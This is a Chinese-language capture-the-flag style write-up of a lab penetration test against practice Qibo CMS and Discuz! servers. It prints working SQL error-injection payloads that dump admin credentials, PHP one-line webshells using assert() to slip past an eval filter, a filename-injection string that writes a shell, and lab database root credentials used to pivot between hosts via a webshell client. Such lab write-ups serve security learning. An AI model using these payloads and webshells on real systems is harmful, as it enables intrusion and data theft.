滲透測試筆記——入門篇


本文作者:wasrehpic

0×00 前言

本題算是一道較為綜合的滲透題,要求對兩個服務器系統進行滲透,第一個是基於齊博 CMS 的信息資訊平台 http:www.test.ichunqiu,第二個是基於 Discuz! 的論壇社區 http:bbs.test.ichunqiu。

這兩個 CMS 同樣能在網上找到許多漏洞,常用作滲透測試的練習靶機。根據提示,第 1 題要求找到咨詢平台的管理員賬號密碼;第 2 題需要登錄服務器后台,並插入木馬,再用中國菜刀連接,繼而找到在管理員桌面上的 flag 文件;第 3 題要求在論壇社區的數據庫中找到 admin 賬戶的 salt 值。

圖片.png

0×01 獲取 www.test.ichunqiu 后台登錄密碼

利用 SQL 報錯注入是獲取管理員賬號密碼的常見方法。在瀏覽器搜索齊博 CMS 的可利用漏洞,其中發現了一個 SQL 報錯注入漏洞,在 /member/special.php 中的 $TB_pre 變量未初始化,未作過濾,且直接與代碼進行拼接,注入發生后可在報錯信息中看到管理員的賬號密碼。詳情可參考:

齊博CMS整站系統SQL注入

下面打開 Firefox 瀏覽器,根據漏洞說明先任意注冊一個賬號:

圖片.png

登錄后點擊 會員中心 -> 專題管理 -> 創建專題,任意創建一個專題:

圖片.png

點擊專題名稱,在彈出的專題頁面中查看其 URL,並記錄下 id 值(此處 id=27):

圖片.png

接下來訪問 http://www.test.ichunqiu/member/special.php,並打開 HackBar 工具,按照漏洞報告中的格式填寫好 URL 和請求數據。注意 URL 中的 id 值要等於上述專題 ID,請求數據填入 SQL 報錯注入的 payload:

小貼士:為了方便使用 HackBar,可在瀏覽器右上角點擊 菜單 -> 定制,將 HackBar 拖到工具欄中。

圖片.png

從報錯信息中得知管理員賬號為 admin,密碼的哈希值只有 26 位,因此修改一下 payload 的輸出值,再次注入,便可看到完整的密碼哈希值為 b10a9a82cf828627be682033e6c5878c

圖片.png

以上 payload 在漏洞報告的基礎上稍作修改,否則輸出不了完整的密碼哈希。

關於 SQL 報錯注入的可利用函數較多,本題選用了 extractvalue() 函數:

TB_pre=qb_members where 1 and extractvalue(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)))-- a

也可以選用 updatexml() 函數:

TB_pre=qb_members where 1 and updatexml(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)),0)-- 

以下是在傾旋的公開課中總結出來的 MySQL 數據庫常用十大報錯函數,建議去官方文檔查閱每個函數的用法,多看多練,熟能生巧:

圖片.png

最后利用 MD5解密工具 對密碼哈希值解密,得到密碼明文為 whoami!@#123

圖片.png

0×02 獲取目標服務器 1 管理員桌面的 FLAG 文件信息

獲取了管理員權限,相當於完成了 getshell 的一半。隨便搜搜可發現許多用於齊博 CMS getshell 的漏洞,下面選取兩個文件寫入漏洞進行復現。

后台頻道頁版權信息寫入木馬

第一個漏洞涉及兩個操作:一是在網頁底部版權信息中寫入一句話木馬,二是創建頻道靜態化頁面。漏洞報告中未給出審計過程,本人對此組合拳甚是佩服,詳情可參考:

齊博cms最新后台getshell

先搜索到齊博 CMS 的默認登錄后台為 /admin/index.php,遂嘗試訪問,發現后台路徑確實沒修改。再用賬號 admin 與密碼 whoami!@#123 登錄后台:

圖片.png

依次點擊 系統功能 -> 全局參數設置,在 網頁底部版權信息 中寫入一句話木馬 <?php @assert($_POST['cmd']); ?> 后保存設置:

圖片.png

這里為什么不用傳統的一句話木馬 <?php @eval($_POST['cmd']); ?> 呢?因為 CMS 對 eval() 函數進行了過濾,會將其轉變成 eva l()

圖片.png

所以此處能用 assert() 函數寫入木馬,也體現了 CMS 的寫入過濾不完全。接着點擊 系統功能 -> 頻道獨立頁管理 -> 添加頻道頁,在 頻道頁名字 處填上任意字符(此處以 sqli 為例),在 靜態文件名 處必須填上 .php 文件名,否則菜刀連接不上(此處以 sqli.php 為例):

圖片.png

點擊 提交 后,可在 頻道管理頁 中看到所添加的頻道頁,接下來一定要點擊 靜態化 按鈕,才能正常訪問 http://www.test.ichunqiu/sqli.php,否則只會彈出 404 頁面:

圖片.png

在確認能夠正常 sqli.php 頁面后,准備 添加SHELL 進行菜刀連接:

圖片.png

成功連接后,在管理員桌面上看到了 flag 文件:

圖片.png

打開 flag 文件即可獲得 key{636bb37e},因此第 2 題答案就是 636bb37e

圖片.png

前台欄目投稿自定義文件名寫入木馬

第二個漏洞是在前台欄目投稿設置信息中的 自定義文件名 輸入框內觸發,因此需要“自定義內容頁文件名”的權限,不過我們已經有了管理員權限,故不必擔心此問題。詳情可參考:

齊博CMS某處任意文件寫入getshell(需要一定權限)

首先用賬號 admin 與密碼 whoami!@#123 在前台登錄,並點擊 !我要投稿

圖片.png

任選一欄目,在 我要投稿 處點擊 發表(此處以社會新聞欄目為例):

圖片.png

先在 其他設置 標簽頁下的 自定義文件名 輸入框中寫入木馬 x';@assert($_POST['cmd']);//y.htm

圖片.png

其中 x';是為了閉合代碼中的左單引號,//y.htm 是為了使整體文件名有靜態網頁的后綴,並且注釋掉后面的代碼。注意此處不能用 eval() 函數構造木馬,與前文一樣會被過濾。

再回到 基本信息 標簽頁下,將帶 (*) 的必填信息填好后提交:

圖片.png

提交后訪問 http://www.test.ichunqiu/data/showhtmltype.php,成功看到報錯信息:

圖片.png

接下來 添加SHELL 進行菜刀連接:

圖片.png

成功連接后,可在 /data/showhtmltype.php 源碼中看到所添加的木馬,印證了漏洞的存在:

圖片.png

查看管理員桌面上的 flag 文件與前文一致,此處不再贅述。

0×03 獲取 bbs.test.ichunqiu 數據庫中 admin 的 salt 值

第 3 題終於引入了 http://bbs.test.ichunqiu 論壇社區…的數據庫了。出題人好像為了方便我們直接進行本題,特意在主站根目錄下放了木馬 /2.php,免去了上題插入木馬的過程:

圖片.png

所以下次想直接復現第 3 題,用菜刀連上此木馬即可:

圖片.png

我們在根目錄下可看到 /dedecms_bak 的文件夾,進一步搜索到 DEDECMS 的默認數據庫配置文件/data/common.inc.php,打開一看,果不其然:

圖片.png

但是主機地址顯示為 172.16.12.3,跟 http://bbs.test.ichunqiu 好像沒什么關系吧?其實不然,打開主機終端,用 nslookup 命令可得到論壇的 IP 地址就是 172.16.12.3,順便可看到主站的 IP 地址為  172.16.12.2

圖片.png

注意到數據庫配置信息中是根用戶權限,因此若能連上 DEDECMS 在 172.16.12.3 上的數據庫,那么 Discuz! 在 172.16.12.3 上的數據庫也能被訪問到!於是,在菜刀 添加SHELL 的配置中填入數據庫信息(THUPL)

小貼士:如何在菜刀中填入數據庫配置信息請參考 黑站利器-中國菜刀的功能介紹和使用方法

<T>mysql</T> <H>172.16.12.3</H> <U>root</U> <P>opiznmzs&**(</P> <L>gbk</L>

保存設置后右鍵條目,選擇 數據庫管理,成功連接后可見服務器端的數據庫管理界面:

圖片.png

又經過一番搜索,得知 ultrax 正是 Discuz! 的數據庫,而 dedecms 顯而易見是 DEDECMS 的。我們的目標應該是 ultrax 數據庫中某個表的 salt 字段,這里必須要介紹一下 MySQL 自帶的 information_schema 數據庫,它提供了對元數據的訪問方式,是 MySQL 中的百科全書,其中在 information_schema.COLUMNS 表中記錄了本數據庫所有字段的相關信息。詳情可參考:

MySQL中information_schema是什么

因此,只要輸入一條簡單的 SQL 語句,點擊 執行,有關 salt 字段的所有信息將會呈現:

SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'

圖片.png

最終我們在 ultrax 數據庫的 pre_ucenter_members 表中發現了 salt 字段的值為 9b47b6

圖片.png

到此為止,滲透測試的最終目標已達成。

意猶未盡的各位看官可接着往下看,既然我們把 172.16.12.3 上的數據庫給爆了,那也趁此機會,不妨把 172.16.12.2 上的數據庫也給爆了。經過搜索后發現,齊博 CMS 的默認數據庫配置文件/data/mysql_config.php

圖片.png

然后在菜刀 添加SHELL 的配置中修改數據庫信息:

圖片.png

成功連接后,在 qibov7 數據庫的 qb_members 表中發現第 1 題中管理員的賬號與密碼哈希值:

圖片.png

至此,本題的兩個服務器系統已被我們完全打穿。

0×04 小結

本題雖然有兩台目標服務器,但萬變不離其宗,熟練之后自然得心應手。在此過程中,我同樣也受益匪淺,細心的讀者會發現全文多次出現『搜索』二字,而滲透測試的核心正是收集目標系統的信息,挖掘其漏洞並加以利用

以上是筆者之拙見,不足之處還望各位指出,有其他更猥瑣的滲透的思路歡迎前來交流。最后向以下參考 writeup 的作者表示致謝!

11-在線挑戰詳細攻略-《滲透測試筆記》

 

>>>>>>  黑客入門必備技能  帶你入坑和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩~

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM